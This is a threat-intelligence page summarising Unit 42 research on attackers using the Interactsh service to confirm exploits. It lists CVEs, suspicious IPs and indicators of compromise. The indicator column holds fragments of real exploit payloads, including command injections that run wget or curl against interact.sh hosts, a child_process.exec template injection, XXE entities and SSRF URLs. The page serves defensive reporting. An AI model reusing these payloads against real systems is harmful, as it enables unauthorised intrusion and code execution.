Exploit / PoCcritical
Attackers Are Taking Advantage of the Open-Source Service Interactsh for Malicious Purposes
- CVEs
- CVE-2017-9506CVE-2017-12629CVE-2019-2767CVE-2021-33544CVE-2021-32819CVE-2012-1301CVE-2018-1000600CVE-2021-27905CVE-2020-28188CVE-2018-15517CVE-2009-4223CVE-2019-18394CVE-2021-27886CVE-2020-13379CVE-2021-31755CVE-2020-28871CVE-2020-25223CVE-2020-8813CVE-2020-7247CVE-2020-15568CVE-2018-13354CVE-2018-13338CVE-2019-2616CVE-2018-16167CVE-2018-14839CVE-2016-1555
Vulnerabilities mentioned
All| CVE | Vulnerability | CVSS | EPSS | Signals | Published |
|---|---|---|---|---|---|
| CVE-2016-1555 | Unauthenticated Command Injection RCE in NETGEAR Business Wireless Access Points | 9.8 | 98% | KEVPoC | KEV |
| CVE-2017-12629 | Remote code execution occurs in Apache Solr before 7.1 with Apache Lucene before 7.1 by exploiting XXE in conjunction with use of a Config API add-listener… | 9.8 | 92% | PoC ×2 | |
| CVE-2017-9506 | The IconUriServlet of the Atlassian OAuth Plugin from version 1.3.0 before version 1.9.12 and from version 2.0.0 before version 2.0.4 allows remote attackers… | 6.1 | 72% | PoC ×3 | |
| CVE-2018-1000600 | A exposure of sensitive information vulnerability exists in Jenkins GitHub Plugin 1.29.1 and earlier in GitHubTokenCredentialsCreator.java that allows… | 8.8 | 91% | ||
CVE-2018-13354+1 related CVE | System command injection in logtable.php in TerraMaster TOS version 3.1.03 allows attackers to execute system commands via the "Event" parameter | 9.8 | 23% | PoC | |
| CVE-2018-14839 | Unauthenticated Command Injection RCE in LG N1A1 NAS | 9.8 | 89% | KEVPoC | KEV |
| CVE-2018-15517 | The MailConnect feature on D-Link Central WiFiManager CWM-100 1.03 r0098 devices is intended to check a connection to an SMTP server but actually allows… | 8.6 | 44% | PoC ×2 | |
| CVE-2018-16167 | LogonTracer 1.2.0 and earlier allows remote attackers to execute arbitrary OS commands via unspecified vectors | 9.8 | 75% | ||
| CVE-2019-18394 | A Server Side Request Forgery (SSRF) vulnerability in FaviconServlet.java in Ignite Realtime Openfire through 4.4.2 allows attackers to send arbitrary HTTP GET… | 9.8 | 32% | ||
| CVE-2019-2616 | Unauthenticated Data Access and Tampering in Oracle BI Publisher (CVE-2019-2616) | 7.2 | 92% | KEV | KEV |
| CVE-2019-2767 | Vulnerability in the BI Publisher (formerly XML Publisher) component of Oracle Fusion Middleware (subcomponent | 7.2 | 5% | ||
| CVE-2020-13379 | The avatar feature in Grafana 3.0.1 through 7.0.1 has an SSRF Incorrect Access Control issue | 8.2 | 100% | PoC ×3 | |
| CVE-2020-15568 | TerraMaster TOS before 4.1.29 has Invalid Parameter Checking that leads to code injection as root | 9.8 | 29% | PoC | |
| CVE-2020-25223 | Unauthenticated Command Injection RCE in Sophos SG UTM WebAdmin | 9.8 | 97% | KEVPoC ×2 | KEV |
| CVE-2020-28188 | Remote Command Execution (RCE) vulnerability in TerraMaster TOS <= 4.2.06 allow remote unauthenticated attackers to inject OS commands via /include/makecvs.php… | 9.8 | 96% | PoC ×2 | |
| CVE-2020-28871 | Remote code execution in Monitorr v1.7.6m in upload.php allows an unauthorized person to execute arbitrary code on the server-side via an insecure file upload | 9.8 | 86% | PoC ×3 | |
| CVE-2020-7247 | Unauthenticated Root RCE in OpenSMTPD 6.6 (OpenBSD and Linux) | 9.8 | 99% | KEVPoC ×6 | KEV |
| CVE-2020-8813 | graph_realtime.php in Cacti 1.2.8 allows remote attackers to execute arbitrary OS commands via shell metacharacters in a cookie, if a guest user has the graph… | 8.8 | 74% | PoC ×4 | |
| CVE-2021-27886 | rakibtg Docker Dashboard before 2021-02-28 allows command injection in backend/utilities/terminal.js via shell metacharacters in the command parameter of an… | 9.8 | 46% | ||
| CVE-2021-27905 | The ReplicationHandler (normally registered at "/replication" under a Solr core) in Apache Solr has a "masterUrl" (also "leaderUrl" alias) parameter that is… | 9.8 | 93% | ||
| CVE-2021-31755 | Unauthenticated Stack Overflow RCE in Tenda AC11 Router via /goform/setmac | 9.8 | 87% | KEVPoC | KEV |
| CVE-2021-32819 | Squirrelly: Squirrelly mixes pure template data with engine configuration options through the Express render API. By overwriting internal… | 8.8 | 58% | PoC | |
| CVE-2021-33544 | Multiple camera devices by UDP Technology, Geutebrück and other vendors are vulnerable to command injection, which may allow an attacker to remotely execute… | 7.2 | 96% | PoC |
Indicators of compromise
auto-extracted · verify before use · export allAll| Type | Indicator | Context |
|---|---|---|
| domain | c3167tzyedf0000sfc2ggbo7zoeyyyyyp.interact | ip-addr/search?q={!xmlparser v="<!doctype a system hxxp[:]//c3167tzyedf0000sfc2ggbo7zoeyyyyyp[.]interact.sh/solr/gettingstarted/upload?stream.body={"xx":"yy"}&com |
| domain | c3167tzyedf0000sfc2ggboug8cyyyyyb.interact | r/solr/db/replication?command=fetchindex&masterurl=hxxp[:]//c3167tzyedf0000sfc2ggboug8cyyyyyb[.]interact.sh:80/xxxx&wt=json&httpbasicauthuser=aaa&httpbasicauthpas |
| domain | c32s61pbq16mga0vler0cdnhgbayyyyyn.interact | dule.constructor._load; require('child_process').exec('curl c32s61pbq16mga0vler0cdnhgbayyyyyn[.]interact.sh'); ( CVE-2021-32819 ) hxxp[:]//ip-addr/plugins/servlet |
| domain | c33mg9s2ndhfbpsj7legcddsomayyyypg.interact | r/plugins/servlet/oauth/users/icon-uri?consumeruri=hxxp[:]//c33mg9s2ndhfbpsj7legcddsomayyyypg[.]interact.sh (CVE-2017-9506) hxxp[:]//ip-addr/index.php/system/mail |
| domain | c37e7sraa1psb1c2nso0cd8o9eyyyn94w.interact | 23) hxxp[:]//ip-addr/rest/sharelinks/1.0/link?url=hxxps[:]//c37e7sraa1psb1c2nso0cd8o9eyyyn94w[.]interact.sh hxxp[:]//ip-addr/search.php?search=";wget+hxxp[:]//c4b |
| domain | c38at9vk6tb1j2mah7i0cdeca5yyybucs.interact | bin/","args":["-c","$@|sh",".","echo","nslookup","$(whoami).c38at9vk6tb1j2mah7i0cdeca5yyybucs[.]interact.sh"]}}&wt=json&isshard=true&q=apple hxxp[:]//ip-addr/sear |
| domain | c38r5fq23aksk1ma690gcdmc6doyyahck.interact | !doctype+r+[<!element+r+any+><!entity+%+sp+system+"hxxp[:]//c38r5fq23aksk1ma690gcdmc6doyyahck[.]interact.sh/xxe.xml">%sp;%param1;]>&_xf=excel&_xl=123&template=123 |
| domain | c3jrcoqkfbhrf4rcsmr0cdu5taayynuze.interact | ddr/avatar/test?d=redirect.rhynorater.com?;/bp.blogspot.com/c3jrcoqkfbhrf4rcsmr0cdu5taayynuze[.]interact.sh (CVE-2020-13379) hxxp[:]//ip-addr/adm/krgourl.php?docu |
| domain | c3qsfdg4hl24te8g7rc0cd9erqyygmui6.interact | -4223) hxxp[:]//ip-addr/umbraco/feedproxy.aspx?url=hxxp[:]//c3qsfdg4hl24te8g7rc0cd9erqyygmui6[.]interact.sh (CVE-2012-1301) hxxp[:]//ip-addr/getfavicon?host=hxxp[ |
| domain | c3uhg4emp8vt8fqq370gcd6th6ayyy4b6.interact | h (CVE-2012-1301) hxxp[:]//ip-addr/getfavicon?host=hxxp[:]//c3uhg4emp8vt8fqq370gcd6th6ayyy4b6[.]interact.sh (CVE-2019-18394) (CVE-2020-7247) (CVE-2018-16167) (CVE |
| domain | c44h3el4f1mfla5idm10crrtxqyyyjpp4.interact | ddr/api/container/command?container=&command=;curl hxxp[:]//c44h3el4f1mfla5idm10crrtxqyyyjpp4[.]interact.sh (CVE-2021-27886) hxxp[:]//ip-addr/avatar/test?d=redire |
| domain | c44s021vkr17popa98agcrrhyneyyyd7c.interact | ateselfcert&local=anything&country=aa&state=$(wget hxxp[:]//c44s021vkr17popa98agcrrhyneyyyd7c[.]interact.sh)&organization=anything&organizationunit=anything&commo |
| domain | c45luqovk0lir2vett1gcrf4iyayy468g.interact | 79) hxxp[:]//ip-addr/adm/krgourl.php?document_root=hxxp[:]//c45luqovk0lir2vett1gcrf4iyayy468g[.]interact.sh (CVE-2009-4223) hxxp[:]//ip-addr/umbraco/feedproxy.asp |
| domain | c4b14uqjfg5t9muoh3pgcrca3hoyfrbcr.interact | kencredentialscreator/createtokenbypassword?apiurl=hxxp[:]//c4b14uqjfg5t9muoh3pgcrca3hoyfrbcr[.]interact.sh (CVE-2018-1000600) hxxp[:]//ip-addr/xmlpserver/convert |
| domain | c4b14uqjfg5t9muoh3pgcrcwtheyrjn8k.interact | eract.sh hxxp[:]//ip-addr/search.php?search=";wget+hxxp[:]//c4b14uqjfg5t9muoh3pgcrcwtheyrjn8k[.]interact.sh';" hxxp[:]//ip-addr/index.php?plot=;wget hxxp[:]//c4bf |
| domain | c4b14uqjfg5t9muoh3pgcrqz7oyykqcuq.interact | 17-9506) hxxp[:]//ip-addr/index.php/system/mailconnect/host/c4b14uqjfg5t9muoh3pgcrqz7oyykqcuq[.]interact.sh/port/80/secure (CVE-2018-15517) hxxp[:]//ip-addr/api/c |
| domain | c4bfibtmh0e03d1t5u90crcb9fayzf9dr.interact | teract.sh';" hxxp[:]//ip-addr/index.php?plot=;wget hxxp[:]//c4bfibtmh0e03d1t5u90crcb9fayzf9dr[.]interact.sh |
| domain | c4mqgxkyedf0000ar3d0gnkmaqayyyyyb.interact.sh | the page, the web UI randomly generates an Interactsh link: C4mqgxkyedf0000ar3d0gnkmaqayyyyyb[.]interact[.]sh Figure 2. Example of using Interactsh through the Web U |
| domain | certmngr.cgi | s: Exploits Leveraging Interactsh hxxp[:]//ip-addr/uapi-cgi/certmngr[.]cgi?action=createselfcert&local=anything&country=aa&state=$(w |
| domain | interact.sh | append attacks that use Interactsh. DNS Security has marked interact[.]sh as a malicious site. We also recommend the following acti |
| domain | redirect.rhynorater.com | interact.sh (CVE-2021-27886) hxxp[:]//ip-addr/avatar/test?d=redirect.rhynorater.com?;/bp.blogspot.com/c3jrcoqkfbhrf4rcsmr0cdu5taayynuze[.]inter |
| ipv4 | 138.68.184.23 | 84[.]197 is flagged as potential malware in VirusTotal, and 138[.]68[.]184[.]23 is a phishing site. We also found 82[.]112[.]184[.]20 |
| ipv4 | 82.112.184.197 | Cortex Xpanse data. We found three suspicious IP addresses. 82[.]112[.]184[.]197 is flagged as potential malware in VirusTotal, and 13 |
| ipv4 | 82.112.184.206 | , and 138[.]68[.]184[.]23 is a phishing site. We also found 82[.]112[.]184[.]206 , flagged malicious. All three of these IP addresses |
| url | http://c3167tzyedf0000sfc2ggbo7zoeyyyyyp.interact.sh/solr/gettingstarted/upload?stream.body={ | hxxp[:]//ip-addr/search?q={!xmlparser v="<!doctype a system hxxp[:]//c3167tzyedf0000sfc2ggbo7zoeyyyyyp[.]interact.sh/solr/gettingstarted/upload?stream.body={"xx":"yy"}&commit=true""><a></a>"} (CVE-2017-12629) hxxp |
| url | http://c38r5fq23aksk1ma690gcdmc6doyyahck.interact.sh/xxe.xml | "1.0"+?><!doctype+r+[<!element+r+any+><!entity+%+sp+system+"hxxp[:]//c38r5fq23aksk1ma690gcdmc6doyyahck[.]interact.sh/xxe.xml">%sp;%param1;]>&_xf=excel&_xl=123&template=123 (CVE-201 |
| url | http://c44h3el4f1mfla5idm10crrtxqyyyjpp4.interact.sh | [:]//ip-addr/api/container/command?container=&command=;curl hxxp[:]//c44h3el4f1mfla5idm10crrtxqyyyjpp4[.]interact.sh (CVE-2021-27886) hxxp[:]//ip-addr/avatar/test?d=redirec |
| url | http://c44s021vkr17popa98agcrrhyneyyyd7c.interact.sh | ction=createselfcert&local=anything&country=aa&state=$(wget hxxp[:]//c44s021vkr17popa98agcrrhyneyyyd7c[.]interact.sh)&organization=anything&organizationunit=anything&common |
| url | http://c4b14uqjfg5t9muoh3pgcrcwtheyrjn8k.interact.sh | 94w[.]interact.sh hxxp[:]//ip-addr/search.php?search=";wget+hxxp[:]//c4b14uqjfg5t9muoh3pgcrcwtheyrjn8k[.]interact.sh';" hxxp[:]//ip-addr/index.php?plot=;wget hxxp[:]//c4bfi |
| url | http://c4bfibtmh0e03d1t5u90crcb9fayzf9dr.interact.sh | jn8k[.]interact.sh';" hxxp[:]//ip-addr/index.php?plot=;wget hxxp[:]//c4bfibtmh0e03d1t5u90crcb9fayzf9dr[.]interact.sh |
| url | http://ip-addr/adm/krgourl.php?document_root=http[: | oqkfbhrf4rcsmr0cdu5taayynuze[.]interact.sh (CVE-2020-13379) hxxp[:]//ip-addr/adm/krgourl.php?document_root=hxxp[:]//c45luqovk0lir2vett1gcrf4iyayy468g[.]interact.sh (CVE-20 |
| url | http://ip-addr/api/container/command?container=&command=;curl | crqz7oyykqcuq[.]interact.sh/port/80/secure (CVE-2018-15517) hxxp[:]//ip-addr/api/container/command?container=&command=;curl hxxp[:]//c44h3el4f1mfla5idm10crrtxqyyyjpp4[.]interact.sh |
| url | http://ip-addr/avatar/test?d=redirect.rhynorater.com?;/bp.blogspot.com/c3jrcoqkfbhrf4rcsmr0cdu5taayynuze.interact.sh | el4f1mfla5idm10crrtxqyyyjpp4[.]interact.sh (CVE-2021-27886) hxxp[:]//ip-addr/avatar/test?d=redirect.rhynorater.com?;/bp.blogspot.com/c3jrcoqkfbhrf4rcsmr0cdu5taayynuze[.]interact.sh (CVE-2020-13379) hxxp[:]//ip-addr/adm/krgourl.php?docum |
| url | http://ip-addr/?defaultFilter=e | asicauthuser=aaa&httpbasicauthpassword=bbb (CVE-2021-27905) hxxp[:]//ip-addr/?defaultFilter=e')); let require = global.require || global.process.mainMo |
| url | http://ip-addr/getfavicon?host=http[: | fdg4hl24te8g7rc0cd9erqyygmui6[.]interact.sh (CVE-2012-1301) hxxp[:]//ip-addr/getfavicon?host=hxxp[:]//c3uhg4emp8vt8fqq370gcd6th6ayyy4b6[.]interact.sh (CVE-20 |
| url | http://ip-addr/index.php?plot=;wget | hxxp[:]//c4b14uqjfg5t9muoh3pgcrcwtheyrjn8k[.]interact.sh';" hxxp[:]//ip-addr/index.php?plot=;wget hxxp[:]//c4bfibtmh0e03d1t5u90crcb9fayzf9dr[.]interact.sh |
| url | http://ip-addr/index.php/system/mailconnect/host/c4b14uqjfg5t9muoh3pgcrqz7oyykqcuq.interact.sh/port/80/secure | g9s2ndhfbpsj7legcddsomayyyypg[.]interact.sh (CVE-2017-9506) hxxp[:]//ip-addr/index.php/system/mailconnect/host/c4b14uqjfg5t9muoh3pgcrqz7oyykqcuq[.]interact.sh/port/80/secure (CVE-2018-15517) hxxp[:]//ip-addr/api/container/command |
| url | http://ip-addr/plugins/servlet/oauth/users/icon-uri?consumeruri=http[: | 6mga0vler0cdnhgbayyyyyn[.]interact.sh'); ( CVE-2021-32819 ) hxxp[:]//ip-addr/plugins/servlet/oauth/users/icon-uri?consumeruri=hxxp[:]//c33mg9s2ndhfbpsj7legcddsomayyyypg[.]interact.sh (CVE-20 |
| url | http://ip-addr/rest/sharelinks/1.0/link?url=https[: | 018-13338 CVE-2020-15568) (CVE-2020-28871) (CVE-2020-25223) hxxp[:]//ip-addr/rest/sharelinks/1.0/link?url=hxxps[:]//c37e7sraa1psb1c2nso0cd8o9eyyyn94w[.]interact.sh hxxp[:] |
| url | http://ip-addr/search.php?search= | l=hxxps[:]//c37e7sraa1psb1c2nso0cd8o9eyyyn94w[.]interact.sh hxxp[:]//ip-addr/search.php?search=";wget+hxxp[:]//c4b14uqjfg5t9muoh3pgcrcwtheyrjn8k[.]intera |
| url | http://ip-addr/search?q={!xmlparser | deca5yyybucs[.]interact.sh"]}}&wt=json&isshard=true&q=apple hxxp[:]//ip-addr/search?q={!xmlparser v="<!doctype a system hxxp[:]//c3167tzyedf0000sfc2ggbo7zo |
| url | http://ip-addr/securityrealm/user/admin/descriptorbyname/org.jenkinsci.plugins.github.config.githubtokencredentialscreator/createtokenbypassword?apiurl=http[: | g&commonname=anything&days=1&type=anything (CVE-2021-33544) hxxp[:]//ip-addr/securityrealm/user/admin/descriptorbyname/org.jenkinsci.plugins.github.config[.]githubtokencredentialscreator/createtokenbypassword?apiurl=hxxp[:]//c4b14uqjfg5t9muoh3pgcrca3hoyfrbcr[.]interact.sh (CVE- |
| url | http://ip-addr/solr/db/replication?command=fetchindex&masterurl=http[: | m.body={"xx":"yy"}&commit=true""><a></a>"} (CVE-2017-12629) hxxp[:]//ip-addr/solr/db/replication?command=fetchindex&masterurl=hxxp[:]//c3167tzyedf0000sfc2ggboug8cyyyyyb[.]interact.sh:80/xxxx |
| url | http://ip-addr/solr/select?qt=/config#&&shards=127.0.0.1:8984/solq&stream.body={ | p;%param1;]>&_xf=excel&_xl=123&template=123 (CVE-2019-2767) hxxp[:]//ip-addr/solr/select?qt=/config#&&shards=127.0.0.1:8984/solq&stream.body={"add-listener":{"event":"postcommit","name":"nuclei","clas |
| url | http://ip-addr/uapi-cgi/certmngr.cgi?action=createselfcert&local=anything&country=aa&state=$(wget | d above). Use Case Examples: Exploits Leveraging Interactsh hxxp[:]//ip-addr/uapi-cgi/certmngr[.]cgi?action=createselfcert&local=anything&country=aa&state=$(wget hxxp[:]//c44s021vkr17popa98agcrrhyneyyyd7c[.]interact.s |
| url | http://ip-addr/umbraco/feedproxy.aspx?url=http[: | uqovk0lir2vett1gcrf4iyayy468g[.]interact.sh (CVE-2009-4223) hxxp[:]//ip-addr/umbraco/feedproxy.aspx?url=hxxp[:]//c3qsfdg4hl24te8g7rc0cd9erqyygmui6[.]interact.sh (CVE-20 |
| url | http://ip-addr/xmlpserver/convert?xml= | jfg5t9muoh3pgcrca3hoyfrbcr[.]interact.sh (CVE-2018-1000600) hxxp[:]//ip-addr/xmlpserver/convert?xml=<?xml+version="1.0"+?><!doctype+r+[<!element+r+any+><!enti |
From the original article
6 min read at unit42.paloaltonetworks.com
Recently, Unit 42 has observed active exploits related to an open-source service called Interactsh . This tool can generate specific domain names to help its users test whether an exploit is successful. It can be used by researchers – but also by attackers – to validate vulnerabilities via real-time monitoring on the trace path for the domain.
By Yue Guan, Jin Chen, Leo Olson, Wayne Xin, Daiping Liu · unit42.paloaltonetworks.com
A short excerpt; the article and its images belong to the publisher. Summary, key facts and assessment above are AI-written from the article and can be wrong.